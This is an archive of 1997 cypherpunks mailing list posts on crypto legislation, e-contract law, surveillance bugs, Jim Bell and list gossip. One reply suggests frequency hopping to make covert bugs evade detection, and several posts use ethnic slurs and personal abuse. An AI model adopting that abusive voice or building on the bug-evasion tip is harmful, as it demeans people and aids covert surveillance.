through good practices, rather than crimes solved.  Without strong
cryptography Americans cannot lock their electronic doors, but must instead
remain vulnerable.  Thus, constraining cryptography might help law
enforcement solve a small number of crimes, but it will do nothing to
prevent opportunities for even more crimes, thereby reducing overall public
safety.

Fourth, constraints on strong cryptography will jeopardize national
security.  Requiring or encouraging weakened technology leaves the United
States vulnerable to information warfare from other nation-states,
techno-anarchists and terrorists, and from organized criminal elements.  It
is vital that telephone systems, medical health care systems, utility
systems, and other control mechanisms affecting every sector of the economy
be made more secure and not restrained from using improved security.  Our
national security depends on the reliability of our




        - 3 -

national infrastructures and critical systems, particularly those based on
computer and communications technology.  To legislate the use of untested
mechanisms that present weakened protection, or that have a single point of
failure and attack, will unnecessarily endanger those critical institutions
and the people who depend on them.  Those same forces arrayed against our
national interests will be freely able to obtain stronger cryptography
technology from the many other countries that do not place restrictions on
its development and sale.

Fifth, information technologies change quickly.  We don't want to require
enabling legislation whenever advances in technology increase the
vulnerability of current key lengths.  The recent cracking of 56-bit DES in
the RSA challenge shows that distributed computing power is now available
to break this key length, thus identifying a need for larger keys.  A
breakthrough in mathematics, such as increasing the speed of factoring
numbers, would require a prompt response, such as increasing key lengths or
changing algorithms.  The proposed legislation would severely discourage
such changes.  Additionally, by preventing the initial acquisition of
strong encryption technology, the need for near-term upgrades to defeat
improved cracking techniques is almost assured,  as are the extra financial
burdens.

As a last point, consider the implicit message sent by passage of this act
or any like it.  The U.S. has long been a vocal proponent of freedom of
speech and other civil rights for citizens around the world.  Why should
any other nation's leaders heed further such rhetoric if the U.S. adopts
the proposed bill?  If some foreign nation with a history of oppression
were to pass the same legislation so as to eavesdrop on their citizens'
communications for purposes of  identifying human rights activities, we
would register strong disapproval.  With passage of legislation such as the
"Secure Public Networks Act" the U.S. loses the moral high ground in any
future such scenario.

In summary, our professional position is that  passage of the "Secure
Public Networks Act" or similar legislation is ill-advised; we urge you to
defeat this bill.   Instead, we encourage passage of legislation such as
Senator Conrad Burns' Pro-CODE bill, or Representative Bob Goodlatte's SAFE
bill as a better, more effective aid to national security, law enforcement
and civil rights.

IEEE is the world's largest technical professional association with 320,000
members worldwide.   IEEE-USA promotes the career and technology policy
interests of the more than 220,000 electrical, electronics and computer
engineers who are U.S. members of the Institute.  The Association for
Computing (ACM) is an international non-profit educational and scientific
society with 76,000 members worldwide, 60,000 of whom reside in the U.S.
USACM strives to promote dialog on technology policy issues among U.S.
policy makers, the general public, and the technology community.

If you need additional information, please contact Deborah Rudolph in the
IEEE-USA Washington office at (202) 785-0017 or Lauren Gelman in the USACM
Public Policy office at (202) 544-4859 or (202) 298-0842.

Sincerely,




Barbara Simons, Ph.D.           Paul J. Kostek
Chair, U.S. Public Policy       Vice Chair
Committee of ACM                United States Activities Board







From amp at pobox.com  Tue Jul  8 03:22:38 1997
From: amp at pobox.com (amp at pobox.com)
Date: Tue, 8 Jul 1997 18:22:38 +0800
Subject: Contracts on the Net (NYT)
Message-ID: 





The New York Times      MONDAY, JULY 7, 1997


Lack Of Contracts Undermine Internet Transactions

By GEANNE ROSENBERG


Beyond the violets and refrigerated roses, in the back room of the
Southern Sun flower shop in Tallahassee, Fla., the florist, Bob Deak,
also deals in trading cards. 

With three computers and links to the Internet, Deak bargains with
collectable card buyers and sellers from as far away as Italy,
Australia and Singapore. He does not worry about the lack of paper
contracts to document the deals he strikes, even though the
transactions can run as high as $20,000 apiece. His profits, he said,
far outweigh the risks that a deal might go sour. 

One deal in particular led to a dispute - a $1,020 purchase of a card
collection last year from a 14-year-old, Ted Clark of Haddonfield,
N.J. 

Deak said ``youngsters'' selling cards sometimes do not understand
the meaning of ``near mint.'' So, after examining the cards he had
agreed to purchase in several installments, Deak decided they were
not in near-mint condition and canceled a couple of checks he had
written to Ted Clark and sold the cards for less than the original
purchase price. 

But Deak's actions did not sit well with Ted, now 16, especially
since Deak had made an electronic agreement.  Ted thought he had been
``rooked'' because he did not receive the full amount, said his
mother, Amelia H. Boss, a law professor at Temple University School
of Law and an expert on Internet commerce. She took Ted's case and,
with the assistance of a Florida colleague who served as local
counsel, contacted Deak and eventually persuaded him to pay the
balance of the money. 

Boss said these sorts of disputes are commonplace on the Net. But,
she said, the high cost of suing, especially across state and
national borders, prevent most such squabbles from making it to
court. The resulting dearth of test cases on digital contracts has
left many business managers, corporate lawyers and legal scholars
uncertain about the enforceability of electronic agreements. 

The uncertainty has had a chilling effect, even at computer-astute
places like General Electric Co.'s GE Information Services unit and
the TPN Register Co. - GE's joint venture with Thomas Publishing Co. 

The companies solicit suppliers and hammer out details of procurement
contracts for GE's affiliates and other companies via the Internet.
But when it comes time to execute a contract, the companies resort to
pen and paper. 

``I think ideally you'd love to be 100 percent electronic,'' said
Orville A. Bailey, vice president of marketing and business
development at TPN, because adding paperwork is not as efficient.
But, he said, his company is more ``comfortable'' having signed paper
contracts on hand. 

Bailey is not alone. 

E. Allan Farnsworth, a leading contract law professor at Columbia
University, said that when a contract was substantial and complex,
``I think the safe thing to do is to do it in the old-fashioned
way.'' 

The reason in part, according to Raymond T. Nimmer, professor of law
at the Houston Law Center, is the Statute of Frauds - which traces
its origins to early English law - requiring that many contracts be
written and signed by the parties against whom enforcement is sought.
While some states, including California, Minnesota, Texas, Utah and
Washington, have recently passed laws permitting digital signatures
to satisfy the Statute of Frauds, Professor Nimmer said, most states
- including New York - have not. In addition to the Statute of Frauds
problem, electronic contracts can give rise to questions of
authenticity and authority of the parties involved, Nimmer said. 

Even in states with no laws addressing enforceability of electronic
contracts, many legal experts are confident such agreements will hold
up in court. Arthur Rosett, a law professor at the University of
California, Los Angeles, said, ``It's hard for me to imagine a court
finding that an electronic communication that has been proven does
not satisfy the Statute.'' 

Moreover, some computer experts contend, electronic contracts are in
some respects better than paper ones.  Vincent I. Polley, general
counsel at Omnes Co., a network services concern, said software
should render electronic contracts tamper- and forgery-proof. 

But others were guarded in their endorsement of electronic contracts.
``The judicial system - the lawyers, judges and juries - are not
populated by hackers,'' said Jonathan J. Lerner, a partner at
Skadden, Arps, Slate, Meagher & Flom. ``If you're talking about a
very large and important contract, you need to have your head
examined not to secure the best form of agreement'' - which, in his
view, remains a paper contract. 

The stakes can be high, said Constance E. Bagley, senior lecturer in
law and management at the Stanford Business School and a practicing
lawyer. She cited the example of a software sale over the Internet,
in which the software had a bug that damaged the purchaser's entire
data base. 

If the contract were deemed unenforceable because it did not satisfy
a requirement that it be a signed writing, or because the
authenticity or authority of the person assenting to the terms came
into question, then the merchant could theoretically be liable for
all of the purchaser's losses, she said, because limitations on
liability included in the contract would be ineffective. 

Lawmakers are scrambling to fill the gap between technology and the
law. Leaders of this effort include Professor Boss of Temple
University and Professor Nimmer of the Houston Law Center, who are
helping revise the Uniform Commercial Code to deal with electronic
contracts. Under the proposed revision of the code, which governs
transactions in all 50 states, electronic agreements formed with
active consent, such as digital signatures or clicking on spaces
indicating acceptance of terms, generally would be enforceable. 

But the UCC revision, which individual state legislatures could
adopt, adapt or ignore at their own choosing, is at least a year away
from completion. 

It could run into further delays because of criticism aimed not at
the technical provisions concerning enforceability of electronic
contracts, but at changes and additions within the draft to sales and
licensing laws. For example, some intellectual property experts worry
the revision would allow publishers to write contracts that encroach
upon rights in the public domain, said Pamela Samuelson, professor of
information management and law at the University of California,
Berkeley. And the American Automobile Manufacturers Association
contends that the revision's proposed changes in rules for the sale
of goods would increase seller liability and the cost of doing
business. 

In addition to the UCC revision, the National Conference of
Commissioners on Uniform State Laws is planning to propose state laws
legitimizing electronic contracts not covered by the UCC. And the
U.N. Commission on International Trade Law, on which Boss served as
the American delegate and expert adviser, is completing a model law
on electronic commerce that is expected to be presented to individual
countries for incorporation in their domestic laws. 

Washington, so far, appears to be eager for the law to catch up with
the technology. Several agencies, including the Commerce Department,
have collaborated on a paper favoring the adaption of domestic and
global laws to support electronic contracts. 

As lawmakers struggle to get rules in place, some businesses are not
waiting. For these businesses, ``The cost of the gamble is cheaper
than the cost of the contract,'' said Patricia B. Fry, a law
professor at the University of North Dakota and the chairwoman of the
national commissioners conference electronic contract effort. 

Ford Motor Co. uses ``purely electronic contracts'' with suppliers,
according to James Ziety, counsel at Ford. Ziety said he knew of no
trouble with Ford's electronic agreements. Any problems, he said,
were ``virtually always worked out at the business level.'' 

Meanwhile, Boss said, the gap in the law invited a major court
decision. ``When the case comes along,'' she said, `` when it hits,
it may well be the big one.'' 

As for Deak, the uncertainties about electronic contracts are not
holding him back from making deals online.  ``Every night when I say
my prayers,'' he said, ``I thank the Lord for the Internet.'' 



------------------------
Name: amp
E-mail: amp at pobox.com
Date: 07/08/97
Time: 05:13:44
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------






From dlv at bwalk.dm.com  Tue Jul  8 05:07:32 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 20:07:32 +0800
Subject: Forged Posts
In-Reply-To: <199707080550.HAA12425@basement.replay.com>
Message-ID: 



nobody at REPLAY.COM (Anonymous) writes:
> The Tim May character is, however, based on a real character who died
> peacefully in his sleep over five years ago.

I'm sorry to hear that, Tim...

> Lucky Green's posts are really by Dr Vulis.

I resent that.  Why would I create a personality of an ignorant, loud,
foul-mouthed Mac luser? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Tue Jul  8 05:09:34 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 20:09:34 +0800
Subject: piracy
In-Reply-To: <199707080400.XAA11109@bureau42.ml.org>
Message-ID: <1Psi0D10w165w@bwalk.dm.com>



bureau42 Anonymous Remailer  writes:

> > (Oh and by the way I got the CD writer - thanks again to everyone who gave
> > feedback regarding the backup systems)
>
> Are you planning to use this to bootleg the Dr Dobbs crypto CD?
> If not, could you be commissioned to do so?

Only time will tell.  I don't have the crypto CD yet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Tue Jul  8 05:10:04 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Jul 1997 20:10:04 +0800
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: <199707080506.AAA14434@mailhub.amaranth.com>
Message-ID: 



"William H. Geiger III"  writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> In <24eH0D4w165w at bwalk.dm.com>, on 07/07/97
>    at 01:15 PM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>
> >I've replaced OS/2 on it by Windows 95.
>
> Sorry to hear of your downgrade. :(

Downgrade it is.  I was planning to migrate this one to NT, but NT won't
install without some hardware changes, so I settled for W95 for now.

I still have another box running OS/2.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ddt at lsd.com  Tue Jul  8 07:40:53 1997
From: ddt at lsd.com (Dave Del Torto)
Date: Tue, 8 Jul 1997 22:40:53 +0800
Subject: Spread Spectrum Surveillance Modules
Message-ID: 



[From the TSCM-L Technical Security Mailing List]

................................. cut here .................................

TSCM Intelligence Update - Spread Spectrum Surveillance Modules

New Spread Spectrum Surveillance Modules

There are some new spread spectrum products coming into the US by way of
China, and are starting to show up in Spy Shops on the West coast, Chicago,
and Miami area.

Two sided, four layer, surface mount PCB, several RF and audio IC's,
several pots, coils, etc. Device is a raw module, designed for covert
installations in an office or SOHO environment.

SM connector for antenna, micro molex connector for power and
computer/serial interface.

PCB is 1.5 mm wide, 3.25 mm long, and .5mm thick.

Products are all based on a cordless telephone chip set, 780 Mhz to 980
Mhz, Direct Sequence Spread Spectrum (BPSK/QPSK?).

Analysis of RF section indicates good response from 610 Mhz to 1090 Mhz.

Serial data rates between 56 kb/s and 784 kb/s (12 full audio channels
capable).

Devices have a two way RS422 serial port to facilitate setup prior to field
usage.

Programmed RF power levels range is spec'd between 50mw and 250mw, suspect
the circuits will operate as low as 5mw. Evaluation of the RF amp indicates
that RF section should support a full watt of power with no problem.

Recommended voltage is 3/6vdc, but circuit should work fine on 9 or 12vdc.

Connections for two or three wire transducers. Audio path is thru pre-amp,
compander, CODEC, and controller. Looks like it can support two elements,
each with its own tunable preselector.

Large amount of 60 hz filtering, suspect they were originally designed for
installation into power strips (APC, Best, Woods, etc).

Look for the low level multihump signature on the spectrum analyser, and
take a REAL hard look at all surge protectors.

Be sure to "box" all electrical artifacts encountered on a TSCM sweep.

Well engineered, suspect cost to manuf. is under $35, should be popular,
most of the spy shops are selling these for $1500 to $3000.

More details to follow after the holiday, should have an update by that
time regarding the VLF devices being built by Thompson, and E-Systems.


 --James M. Atkinson







From dweightman at Radix.Net  Tue Jul  8 07:42:29 1997
From: dweightman at Radix.Net (Donald Weightman)
Date: Tue, 8 Jul 1997 22:42:29 +0800
Subject: German Official Pleas for Strong Encryption
Message-ID: <3.0.16.19970708102925.21b71c84@pop.radix.net>



Reuters (as picked up in today's FINANCIAL TIMES) reports that German
economics minister Gunter Rexrodt called for loosening the restrictions on
strong encryption. Speaking yesterday at a European ministerial conference
on global integration, he said "Users can only protect themselves against
having data manipulated, destroyed, or spied on through the use of strong
encryption procedures."


Hmmm: seems like there's a trend among Certain Global Opinion Makers that
some people -- maybe the financial markets?  -- need good crypto: compare
last week's ECONOMIST and FINANCIAL TIMES editorials.  Anyone know how the
new German legislation deals with encryption?


cheers

.........................................
Donald Weightman
dweightman at radix.net






From jeffb at issl.atl.hp.com  Tue Jul  8 08:07:53 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Tue, 8 Jul 1997 23:07:53 +0800
Subject: [MILCOM] NSA: struggling with diversity ...
In-Reply-To: <199707080601.IAA14197@basement.replay.com>
Message-ID: <199707081509.LAA18680@jafar.issl.atl.hp.com>



Anonymous writes:

> There is no place any longer in the world for an agency like the NSA.
> It is an enemy to freedom and an enemy to the free citizenry of its
> own country.
> 
> We need a new agency, one to defend us against infowar, to help
> industrial competitiveness, to assist Americans in retaining their
> freedoms rather than attempting to strip them away for its own evil
> purposes.  Let us hope that the changing of the guard at the NSA will
> lead to a rebirth and a renewal as an agency looking forward, rather
> than one concerned only with guarding its own rear.

Anonymous must work for CDT or VTW or some other beltway agency. 
Even while decrying the corruption and waste in this government agency,
he feels compelled to reconstitute it with a New and Better version.

His proposition that a new agency could "help industrial competitive-
ness" and "defend us against infowar" is ludicrous and insupportable.
And how can one even keep a straight face while proposing a government
agency to help us "retain [our] freedoms"?


-- Jeff






From iverson at usa.net  Tue Jul  8 08:22:53 1997
From: iverson at usa.net (Casey Iverson)
Date: Tue, 8 Jul 1997 23:22:53 +0800
Subject: A really  meaningfull upgrade
Message-ID: <3.0.16.19970708110802.3bef3438@pop.netaddress.com>



At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:

>I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
>I think it's sort of a change for the better. 

The only meaningfull upgrade would be a total replacement of his fucked up,
disease ridden perverted brain.

C.I.






From nobody at REPLAY.COM  Tue Jul  8 08:56:13 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 23:56:13 +0800
Subject: Jim Bell 6
Message-ID: <199707081534.RAA14401@basement.replay.com>



John Young wrote:
> 
> On June 26 the court handling Jim's case extended
> the time from June 30 to July 11 for the USA to file an
> indictment.
> No indication that Jim has been released, jailed since
> his arrest on May 16. No reason given for repeated
> waiver of right to a speedy trial.

  The right to a speedy trial is next to meaningless in a court system
which is composed mostly of legal bum-buddies whose main concern is to
make as much money as possible without making each other look like
incompetent fools.
  The fact of the matter is, there is seldom any reason for a person
to sit in jail without bond for extended periods other than the fact
that his or her attorney is not capable of trying a case in a reasonable
amount of time.
  Jim Bell is likely suffering from the delusion that his attorney is
working in his client's best interest. If not, he would demand that
the judge appoint an attorney to defend him who is both capable of and
competent enough to represent him in a timely fashion.

  I mean, get real...Bell is imprisoned without bail with no charges
having been filed against him. 
  Has anybody seen a lawyer-ad on TV lately where the attorney is
screaming, "CALL ME AND YOU'LL ROT IN JAIL WITHOUT EVER BEING CHARGED
WITH A CRIME! CALL 1-800-DIP-SHIT!"

  The bottom line: The fact that a public defender is too busy, or
doesn't have the resources, to represent his client in a timely 
fashion does not justify abrogation of a citizen's rights.
  The fact that Bell's lawyer is allowing his client to sit in prison
without bail and without an indictment against him, without doing 
anything about it, suggests to me that he is selling out his client
in order to enhance his future career as a RatFucker.

TruthMonger

 > The docket's at:
> 
>    http://jya.com/jimbell-dock.htm






From dlv at bwalk.dm.com  Tue Jul  8 09:17:41 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Jul 1997 00:17:41 +0800
Subject: Forged Posts
In-Reply-To: <199707080713.JAA26805@basement.replay.com>
Message-ID: 



nobody at REPLAY.COM (Anonymous) writes:

>   In the movie version, Eddie Murphy plays BadRemailer, and the
> big scene is when he walks into a cypherpunks physical meeting
> and says, "I'm your worst nightmare...a remailer with a LOG!"

Gary Burnore (spit) would masturbate to that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From paul at fatmans.demon.co.uk  Tue Jul  8 12:34:07 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Wed, 9 Jul 1997 03:34:07 +0800
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: <24eH0D4w165w@bwalk.dm.com>
Message-ID: 




> I've replaced OS/2 on it by Windows 95.

And to think they gave you a Ph.D ;-)....

> I think it's sort of a change for the better.  (I still have W95, Linux,
> and OS/2 on other boxes.)

You think moving from OS/2 to Win95 is a change for the better? Must be 
good shit, Did you bring enough for everyone?

But, to be quite honest (and people who know me will know just how much I 
hate to give any form of praise to Micro$oft), Win95 isn`t really that 
bad just for web browsing and mail, but I use linux anyway because I like 
procmail and it is convenient to have the OS running when I want it 
instead of having to reboot.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From gnu at toad.com  Tue Jul  8 12:44:13 1997
From: gnu at toad.com (John Gilmore)
Date: Wed, 9 Jul 1997 03:44:13 +0800
Subject: Israel admits that its crypto policy was imposed by the US
Message-ID: <199707081918.MAA17780@toad.com>



Forwarded-by: Ross Anderson 
From: the Jerusalem Post, 7th July 1997 (from www.jpost.co.il)

ARCHIVE_DATE:Mon, Jul 07, 1997
ARCHIVE_NAME:Business
ARCHIVE_HEAD:Chief scientist: Legal system gave in to US patent pressure
ARCHIVE_AUTH:By JENNIFER FRIEDLIN

JERUSALEM (July 7) - The Israeli legal system bowed to US pressure when it
devised certain patent and encryption laws, which are now harming Israeli
exports, Industry and Trade Ministry Chief Scientist Orna Berry said yesterday.

Due to restrictive patent laws, which prohibit generic drug manufacturers from
conducting research on original products before the patent protection expires,
local companies are losing their competitive advantage to US companies that do
not face such restrictions.

Earlier this month, Teva Pharmaceutical Industries Ltd., one of Israel's
largest and most prestigious companies, said it is considering moving part of
its research and development operations overseas in order to bypass the law.

The encryption laws also hinder Israeli exports, because it insists that
products with special coding must be sold directly to the end-user rather than
off the shelf. While the law is meant to safeguard defense-related products,
consumer products - such as Internet software - are also affected.

One hundred and fifty companies employ encryption technology.

"The Israeli legal system has not done a good job in considering the impact of
these laws, and they have bent in front of pressure from the Americans," Berry
said.

Both Berry and Industry and Trade Minister Natan Sharansky have appealed to the
Justice Ministry to revise the law.

Berry said she hopes they will conclude the procedure by the end of the year. 
Teva has been trying to change the patent law since 1994, when it was passed.






From declan at well.com  Tue Jul  8 12:49:15 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 9 Jul 1997 03:49:15 +0800
Subject: Article on Jim Bell/Assassination Politics
Message-ID: 



In the July/August issue of Internet Underground magazine, I have a
feature article on Jim Bell and Assassination Politics. I mention the
cypherpunks list, of course. Nothing especially new, but folks might be
interested in a summary and recap. 

-Declan







From azur at netcom.com  Tue Jul  8 13:20:56 1997
From: azur at netcom.com (Steve Schear)
Date: Wed, 9 Jul 1997 04:20:56 +0800
Subject: Spread Spectrum Surveillance Modules
In-Reply-To: 
Message-ID: 



>[From the TSCM-L Technical Security Mailing List]
>
>................................. cut here .................................
>
>TSCM Intelligence Update - Spread Spectrum Surveillance Modules
>
>New Spread Spectrum Surveillance Modules
>
>There are some new spread spectrum products coming into the US by way of
>China, and are starting to show up in Spy Shops on the West coast, Chicago,
>and Miami area.
>
>Two sided, four layer, surface mount PCB, several RF and audio IC's,
>several pots, coils, etc. Device is a raw module, designed for covert
>installations in an office or SOHO environment.
>
>SM connector for antenna, micro molex connector for power and
>computer/serial interface.
>
>PCB is 1.5 mm wide, 3.25 mm long, and .5mm thick.
>
>Products are all based on a cordless telephone chip set, 780 Mhz to 980
>Mhz, Direct Sequence Spread Spectrum (BPSK/QPSK?).

Unfortunately, all high volume consumer direct sequence (DS) chips are
optimized for data throughput and spectral efficiency, the exact opposite
of what you want for surveillence.  The compact sinx/x DS signature is easy
to see on any spectrum analyzer when one is relatively close to the bug.
However, if the DS chip is used in combination with frequency hopping (FH),
especially if the hop frequencies overlap, then a much more robust
surveillence device can be created.  Introduction of FH does complicate the
design, especially receiver acquisition/synchronization, but the results
could be well worth the effort.

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur at netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky







From rubin at research.att.com  Tue Jul  8 15:01:00 1997
From: rubin at research.att.com (Avi Rubin)
Date: Wed, 9 Jul 1997 06:01:00 +0800
Subject: Web security book finally available
Message-ID: <199707082138.RAA13511@mgoblue.research.att.com>



Now available (finally)...

I am told that Amazon and Wiley are shipping them within 24 hours.

                      The Web Security Sourcebook 
                       (John Wiley & Sons, Inc.)

                  by Avi Rubin, Dan Geer, Marcus Ranum
                       foreward by Steve Bellovin

A new book on all aspects of web security. More information can be 
found at http://www.clark.net/pub/mjr/websec/

Now available at:
     https://www.wiley.com/compbooks/catalog/18148-X.htm
     http://www.amazon.com/exec/obidos/ISBN=047118148X


*********************************************************************
Aviel D. Rubin                                 rubin at research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Labs - Research
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809
*********************************************************************






From wombat at mcfeely.bsfs.org  Tue Jul  8 15:33:34 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Wed, 9 Jul 1997 06:33:34 +0800
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: 
Message-ID: 





On Tue, 8 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> "William H. Geiger III"  writes:
> 
> > -----BEGIN PGP SIGNED MESSAGE-----
> >
> > In <24eH0D4w165w at bwalk.dm.com>, on 07/07/97
> >    at 01:15 PM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> >
> > >I've replaced OS/2 on it by Windows 95.
> >
> > Sorry to hear of your downgrade. :(
> 
> Downgrade it is.  I was planning to migrate this one to NT, but NT won't
> install without some hardware changes, so I settled for W95 for now.
> 
> I still have another box running OS/2.
> 

Couldn't ya get the NSA to spring for a copy of BSD?  ;)

Even a low-budget operation should be able to afford a free OS!






From wombat at mcfeely.bsfs.org  Tue Jul  8 15:35:12 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Wed, 9 Jul 1997 06:35:12 +0800
Subject: Contracts on the Net (NYT)
In-Reply-To: 
Message-ID: 



> One deal in particular led to a dispute - a $1,020 purchase of a card
> collection last year from a 14-year-old, Ted Clark of Haddonfield,
> N.J. 
> 
> Deak said ``youngsters'' selling cards sometimes do not understand
> the meaning of ``near mint.'' So, after examining the cards he had
> agreed to purchase in several installments, Deak decided they were
> not in near-mint condition and canceled a couple of checks he had
> written to Ted Clark and sold the cards for less than the original
> purchase price. 
> 

Sounds like someone else didn't understand the meaning of "contract."

If the merchandise he purchased was not up to his expectations, he should 
have returned it if he decided to cancel payment.






From wombat at mcfeely.bsfs.org  Tue Jul  8 15:48:03 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Wed, 9 Jul 1997 06:48:03 +0800
Subject: Forged Posts
In-Reply-To: <199707080749.CAA16060@mailhub.amaranth.com>
Message-ID: 





On Tue, 8 Jul 1997, William H. Geiger III wrote:

> In <199707080550.HAA12425 at basement.replay.com>, on 07/08/97 
>    at 07:50 AM, nobody at REPLAY.COM (Anonymous) said:
> 
> >Kent Crispin is another fabrication of Toto's, this time with no apparent 
> >model. 
> 
> Hey now give credit where credit is due!!
> 
> Kent Crispin is my creation!!! His sole purpose is so I can refute his
> posts.
> 
> I beleive in literary terms this is know as a foil. :)
> 

There are actually only 13.5 people on this list, by my calculations. The 
thousand+ names/nyms are mere fronts. 

-r.w.






From darrylr at iglou.com  Tue Jul  8 17:01:56 1997
From: darrylr at iglou.com (Darryl Rowe)
Date: Wed, 9 Jul 1997 08:01:56 +0800
Subject: [PGP-USERS] A start ... (hopefully) ...
Message-ID: <3.0.2.32.19970708194725.007c0100@smtp1.abraxis.com>



-----BEGIN PGP SIGNED MESSAGE-----

Hopefully this is a harbinger of things to come (a July 7 press 
release at http://www.pgp.com), and maybe Phil can out-Gates Gates 
and assimilate Micro$oft (hey! I can dream, can't I?):

The Allegro Group, Inc. has incorporated PGP technology in their 
Encryption Gateway for Groupwise. Now, the 8.5 million users of 
Novell GroupWise will be able to send and receive encrypted email and 
attachments securely and easily. The Encryption Gateway for GroupWise 
is available on the Windows NT platform and is available as a beta 
product today. 



The gateway is a 32-bit application and does not require any 
additional encryption. It supports keys up to 2048 bits and 
attachments (including uuEncode and MIME). The gateway works with any 
PGP or ViaCrypt product and/or key pair, and administrators may 
customize help and error messages. 



Now if they can keep this up and get their foot in the door with all 
the other email vendors.

===============================================================
PGPMail preferred: key ID 0xE63E77E5. Finger darrylr at iglou.com 
http://keys.pgp.com:11371/pks/lookup?op=i
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM8Ketg/p7jvmPnflAQGg+AgAtGT7PyeVVjhLmEt4pGfHbWIUSVBjr8FA
zhtMa58sG3WQQAZWhfJkS65b6IXTO6q45P0uwLSuXNsFWtOf3B5tCqkrtavrARkh
OJA6UNJ5QrLMVSvKj70XUsogTP5G4n1ReVRgmAYxRNBGREwPo72asNj+71h+80vi
NkQNPiuZompq6YghG0uDVinB5Fb0RyTOpzLzN0SKbRJuTaNLRbHRlWA25dyYKoKJ
0tqsSc28NJEPhYCXf9PbyE0fiWiiJTxQVCCT/ZxpRoIXHPR4tYRmadhDzCpwak92
ztz9TJPMFtviKaomOvz8YRI6wYZ6jtsuNh3m+08Q9pl9Fo85bzihcw==
=H+9P
-----END PGP SIGNATURE-----







From rah at shipwright.com  Tue Jul  8 17:29:11 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 9 Jul 1997 08:29:11 +0800
Subject: First Monday, July 1997
Message-ID: 




--- begin forwarded text


Date: Tue, 8 Jul 1997 22:59:42 +0200 (METDST)
From: lm at webhotel.uni-c.dk
X-For: rah at shipwright.com
To: rah at shipwright.com
Subject: First Monday, July 1997
Mime-Version: 1.0

Dear First Monday Reader
We proudly announce the July Issue of First Monday:

http://www.firstmonday.dk/issues/issue2_7/odlyzko/
Fixed fee versus unit pricing for information goods:
competition, equilibria, and price wars
by Peter Fishburn, Andrew M. Odlyzko, and Ryan C. Siders

http://www.firstmonday.dk/issues/issue2_7/drelichman/
Efficient Pricing in Data Transmission Networks: The
Argentine experience
by Mauricio Drelichman

http://www.firstmonday.dk/issues/issue2_7/goldhaber/
What's the Right Economics for Cyberspace?
by Michael H. Goldhaber

http://www.firstmonday.dk/issues/issue2_7/berentsen/
Digital Money, Liquidity, and Monetary Policy
by Aleksander Berentsen

http://www.firstmonday.dk/issues/issue2_7/almeida/
WebMonitor: a Tool for Measuring World-Wide Web Server
Performance
by Jussara M. Almeida, Virgilio Almeida, and David J. Yates

http://www.firstmonday.dk/issues/issue2_7/hibbitts/
E-Journals, Archives and Knowledge Networks: A
Commentary on Archie Zariski's Defense of Electronic Law Journals
by Bernard Hibbitts

http://www.firstmonday.dk/issues/issue2_7/bookrev/
Working the Web's Global Community: new books

----------------------------------------------------

http://www.firstmonday.dk/issues/issue2_7/odlyzko/
Fixed fee versus unit pricing for information goods:
competition, equilibria, and price wars
by Peter Fishburn, Andrew M. Odlyzko, and Ryan C. Siders

Information goods have negligible marginal costs, and
this will create possibilities for novel distribution and pricing
methods.

